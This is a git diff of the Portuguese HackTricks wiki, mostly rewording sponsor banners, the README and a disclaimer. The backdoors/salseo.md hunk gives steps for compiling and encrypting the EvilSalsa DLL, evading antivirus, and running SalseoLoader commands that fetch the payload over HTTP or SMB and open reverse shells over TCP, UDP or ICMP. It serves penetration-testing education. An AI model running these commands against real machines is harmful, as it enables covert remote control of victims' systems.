diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md
index 323ee6d7d..a4588eece 100644
--- a/1911-pentesting-fox.md
+++ b/1911-pentesting-fox.md
@@ -2,27 +2,29 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
E mais serviços:
-ubiquiti-discover udp "Dispositivo Ubiquiti Networks"
+ubiquiti-discover udp "Ubiquiti Networks Device"
-dht udp "Nós DHT"
+dht udp "DHT Nodes"
5060 udp sip "SIP/"
![](<.gitbook/assets/image (273).png>)
-![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>)
+![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
@@ -38,12 +40,14 @@ InfluxDB
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/README.md b/README.md
index ff3b09400..10b936bc5 100644
--- a/README.md
+++ b/README.md
@@ -2,13 +2,13 @@
-_Logos e design de movimento do Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Logos e design de movimento do HackTricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
-**Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/qualquer coisa que eu tenha aprendido em CTFs, aplicativos da vida real, pesquisas e notícias.**
+**Bem-vindo à wiki onde você encontrará cada truque/técnica de hacking/qualquer coisa que eu tenha aprendido de CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
{% endhint %}
-Para começar, siga esta página onde você encontrará o **fluxo típico** que **você deve seguir ao fazer pentesting** em uma ou mais **máquinas:**
+Para começar, siga esta página onde você encontrará o **fluxo típico** que **deve seguir ao pentestar** uma ou mais **máquinas:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@@ -24,7 +24,7 @@ _Sua empresa poderia estar aqui._
-[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACKEIE O INVIOLÁVEL**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, equipes vermelhas e treinamento.
+[**STM Cyber**](https://www.stmcyber.com) é uma excelente empresa de cibersegurança cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, Red teams e treinamento.
Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@@ -32,30 +32,30 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
### [RootedCON](https://www.rootedcon.com/)
-
+
-[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
+[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
### [Intigriti](https://www.intigriti.com)
-
+
-**Intigriti** é a plataforma de ethical hacking e **bug bounty número 1 da Europa.**
+**Intigriti** é a **plataforma número 1 da Europa** de hacking ético e **bug bounty.**
-Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
+**Dica de bug bounty**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas** do mundo.
-Acesse hoje mesmo:
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -63,32 +63,32 @@ Acesse hoje mesmo:
-Fique um passo à frente no jogo da cibersegurança.
+Mantenha-se um passo à frente no jogo da cibersegurança.
-[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) torna a gestão de vulnerabilidades fácil. Acompanhe sua superfície de ataque, veja onde sua empresa está vulnerável e priorize problemas que deixam seus sistemas mais expostos para que você possa se concentrar no que mais importa.
+[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) torna o gerenciamento de vulnerabilidades fácil. Acompanhe sua superfície de ataque, veja onde sua empresa está vulnerável e priorize questões que deixam seus sistemas mais expostos para que você possa se concentrar no que é mais importante.
-Execute milhares de verificações com uma única plataforma que abrange toda a sua pilha de tecnologia, desde infraestrutura interna até aplicativos da web, APIs e sistemas em nuvem. Integre perfeitamente com [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) e otimize o DevOps para que sua equipe possa implementar correções mais rapidamente.
+Execute milhares de verificações com uma única plataforma que cobre toda a sua pilha de tecnologia, desde infraestrutura interna até aplicativos web, APIs e sistemas em nuvem. Integre-se perfeitamente com [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) e otimize DevOps para que sua equipe possa implementar correções mais rapidamente.
-O Intruder nunca descansa. A proteção 24/7 monitora seus sistemas o tempo todo. Quer saber mais? Visite o site deles e experimente [**um teste gratuito**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
+Intruder nunca descansa. Proteção 24 horas por dia, 7 dias por semana, monitora seus sistemas. Quer saber mais? Visite o site deles e experimente com [**um teste gratuito**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
### [HACKENPROOF](https://bit.ly/3xrrDrL)
-
+
-Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
+Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bug bounty!
-**Hacking Insights**\
+**Insights de Hacking**\
Interaja com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
-Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
+Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
-Fique informado sobre os mais recentes lançamentos de recompensas por bugs e atualizações cruciais da plataforma
+Fique informado com os mais novos bug bounties lançados e atualizações cruciais da plataforma
-**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
+**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
***
@@ -96,48 +96,51 @@ Fique informado sobre os mais recentes lançamentos de recompensas por bugs e at
-[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança sediada em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as últimas ameaças de cibersegurança, fornecendo serviços de **segurança ofensiva** com uma abordagem **moderna**.
+[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança com sede em **Amsterdã** que ajuda a **proteger** negócios **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo **serviços de segurança ofensiva** com uma abordagem **moderna**.
-A WebSec é uma **empresa de segurança completa**, o que significa que eles fazem de tudo; Pentesting, Auditorias de **Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
+WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem de tudo; Pentesting, Auditorias de **Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
-Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec tem **muita confiança em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como afirma em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
+Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que eles **garantem os melhores resultados de qualidade**, está declarado em seu site "**Se não conseguirmos hackear, Você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
-Além disso, a WebSec também é uma **apoiadora comprometida do HackTricks**.
+Além do acima, a WebSec também é uma **apoiadora comprometida do HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
+
### [DragonJAR](https://www.dragonjar.org/)
-[**DragonJAR é uma empresa líder em cibersegurança ofensiva**](https://www.dragonjar.org/) **localizada na Colômbia**. A DragonJAR oferece [serviços abrangentes de cibersegurança ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) em várias áreas e praticamente **qualquer tecnologia**, simulações de ataque **Red Team**, testes de segurança **física**, testes de estresse, engenharia social, revisão de segurança de **código-fonte** e treinamento em cibersegurança. Além disso, eles organizam a **DragonJAR Security Conference**, [um congresso internacional de cibersegurança](https://www.dragonjarcon.org/) que acontece há mais de uma década, tornando-se uma vitrine para as últimas pesquisas de segurança em espanhol e de grande relevância na região.
+[**DragonJAR é uma empresa líder em cibersegurança ofensiva**](https://www.dragonjar.org/) **localizada na Colômbia**. A DragonJAR oferece [serviços abrangentes de cibersegurança ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) em várias áreas e praticamente **qualquer tecnologia**, simulações de ataque **Red Team**, testes de segurança **física**, **testes de estresse**, engenharia social, revisão de segurança em **código-fonte** e treinamento em cibersegurança. Além disso, eles organizam a **DragonJAR Security Conference**, [um congresso internacional de cibersegurança](https://www.dragonjarcon.org/) que acontece há mais de uma década, tornando-se uma vitrine para as mais recentes pesquisas de segurança em espanhol e de grande relevância na região.
## Licença
-**Direitos autorais © Carlos Polop 2023. Exceto quando especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está licenciado sob a** [**Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
-**Se você deseja usá-lo para fins comerciais, entre em contato comigo.**
+**Copyright © Carlos Polop 2023. Exceto onde especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está licenciado sob a**[ **Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
+**Se você quiser usá-lo com fins comerciais, entre em contato comigo.**
## **Aviso Legal**
{% hint style="danger" %}
-Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "como está", e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você depositar em tais informações é estritamente por sua conta e risco.
+Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido em uma base 'como está', e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você depositar nessas informações é, portanto, estritamente por sua conta e risco.
-Os autores e editores não serão responsáveis, em nenhuma circunstância, por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes do uso deste livro.
+Os autores e editores não serão responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano de qualquer tipo decorrente da perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro.
-Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam ou apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e critério do usuário.
+Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam ou suportam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é por conta e risco do usuário e a seu critério.
O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar qualquer uma das técnicas ou dicas descritas aqui.
-Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer responsabilidade por quaisquer danos, perdas ou danos que possam resultar do uso deste livro ou de qualquer uma das informações contidas nele.
+Ao usar este livro, o usuário concorda em isentar os autores e editores de qualquer responsabilidade e responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação contida nele.
{% endhint %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras maneiras de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/backdoors/salseo.md b/backdoors/salseo.md
index 6bc4eb6db..f1937e9de 100644
--- a/backdoors/salseo.md
+++ b/backdoors/salseo.md
@@ -2,13 +2,15 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -16,11 +18,11 @@
Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código.
-Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (Se o Windows suportar x64, compile-os para essa arquitetura).
+Compile esses projetos para a arquitetura do sistema Windows onde você vai usá-los (Se o Windows suportar x64, compile para essa arquitetura).
-Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
+Você pode **selecionar a arquitetura** dentro do Visual Studio na aba **"Build"** à esquerda em **"Platform Target".**
-(\*\*Se você não encontrar essas opções, clique em **"Project Tab"** e depois em **"\ Properties"**)
+(**Se você não encontrar essas opções, pressione na aba "Project"** e depois em **"\ Properties"**)
![](<../.gitbook/assets/image (132).png>)
@@ -28,65 +30,39 @@ Em seguida, construa ambos os projetos (Build -> Build Solution) (Dentro dos log
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
-## Preparando a Backdoor
+## Prepare o Backdoor
-Antes de tudo, você precisará codificar o **EvilSalsa.dll**. Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
+Primeiramente, você precisará codificar o **EvilSalsa.dll.** Para fazer isso, você pode usar o script python **encrypterassembly.py** ou você pode compilar o projeto **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
-# Backdoors em Windows
-
-Um backdoor é uma forma de acesso não autorizado a um sistema ou rede, que permite ao invasor contornar as medidas de segurança e obter controle remoto sobre o sistema comprometido. Existem várias técnicas para criar backdoors em sistemas Windows, algumas das quais são discutidas abaixo.
-
-## 1. Porta dos fundos do Registro do Windows
-
-O Registro do Windows é um banco de dados que armazena configurações e informações importantes do sistema operacional. Um invasor pode criar uma entrada de registro maliciosa que executa um programa ou script quando o sistema é inicializado. Isso permite que o invasor mantenha acesso persistente ao sistema comprometido.
-
-## 2. Backdoors baseados em serviços
-
-Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades específicas para o sistema operacional. Um invasor pode criar um serviço malicioso que é executado em segundo plano e fornece acesso remoto ao sistema comprometido. Esse tipo de backdoor é difícil de detectar, pois se disfarça como um serviço legítimo.
-
-## 3. Backdoors baseados em arquivos DLL
-
-As DLLs (Dynamic Link Libraries) são arquivos que contêm código e dados que podem ser usados por vários programas. Um invasor pode substituir uma DLL legítima por uma versão maliciosa que contém um backdoor. Quando um programa usa essa DLL, o invasor pode obter acesso ao sistema comprometido.
-
-## 4. Backdoors baseados em arquivos executáveis
-
-Os arquivos executáveis do Windows são programas que podem ser executados diretamente pelo sistema operacional. Um invasor pode modificar um arquivo executável legítimo para incluir um backdoor. Quando o programa é executado, o backdoor é ativado e o invasor obtém acesso ao sistema comprometido.
-
-## 5. Backdoors baseados em drivers do Windows
-
-Os drivers do Windows são programas que permitem que o sistema operacional se comunique com dispositivos de hardware. Um invasor pode criar um driver malicioso que fornece acesso remoto ao sistema comprometido. Esse tipo de backdoor é particularmente perigoso, pois tem acesso de nível de kernel e pode contornar as medidas de segurança do sistema operacional.
-
-## Conclusão
-
-Essas são apenas algumas das técnicas usadas para criar backdoors em sistemas Windows. É importante estar ciente dessas técnicas para poder proteger seu sistema contra ataques de hackers. Manter seu sistema operacional e software atualizados, usar um firewall e um antivírus confiável e tomar precauções ao baixar e abrir arquivos são algumas das medidas que você pode tomar para proteger seu sistema contra backdoors e outros tipos de ataques.
+### Windows
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
-Ok, agora você tem tudo o que precisa para executar todo o processo de Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader**.
+Ok, agora você tem tudo o que precisa para executar todo o esquema do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
-**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
+**Envie o binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
-## **Executando a backdoor**
+## **Execute a porta dos fundos**
-### **Obtendo um shell reverso TCP (baixando o dll codificado por HTTP)**
+### **Obtendo um shell reverso TCP (baixando dll codificada via HTTP)**
-Lembre-se de iniciar um nc como ouvinte de shell reverso e um servidor HTTP para servir o evilsalsa codificado.
+Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **Obtendo um shell reverso UDP (baixando uma dll codificada através do SMB)**
+### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)**
-Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
+Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
-### **Obtendo um shell reverso ICMP (dll codificada já presente na vítima)**
+### **Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)**
**Desta vez, você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@@ -97,15 +73,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
-#### Executar o cliente:
-
-To execute the client, follow these steps:
-
-1. Open a terminal window.
-2. Navigate to the directory where the client is located.
-3. Run the command `./client` to execute the client.
-
-The client will now be running and ready to establish a connection with the server.
+#### Execute o cliente:
```
python icmpsh_m.py "" ""
```
@@ -113,63 +81,63 @@ python icmpsh_m.py "" ""
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## Compilando o SalseoLoader como DLL exportando a função principal
+## Compilando SalseoLoader como DLL exportando função principal
Abra o projeto SalseoLoader usando o Visual Studio.
### Adicione antes da função principal: \[DllExport]
-![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
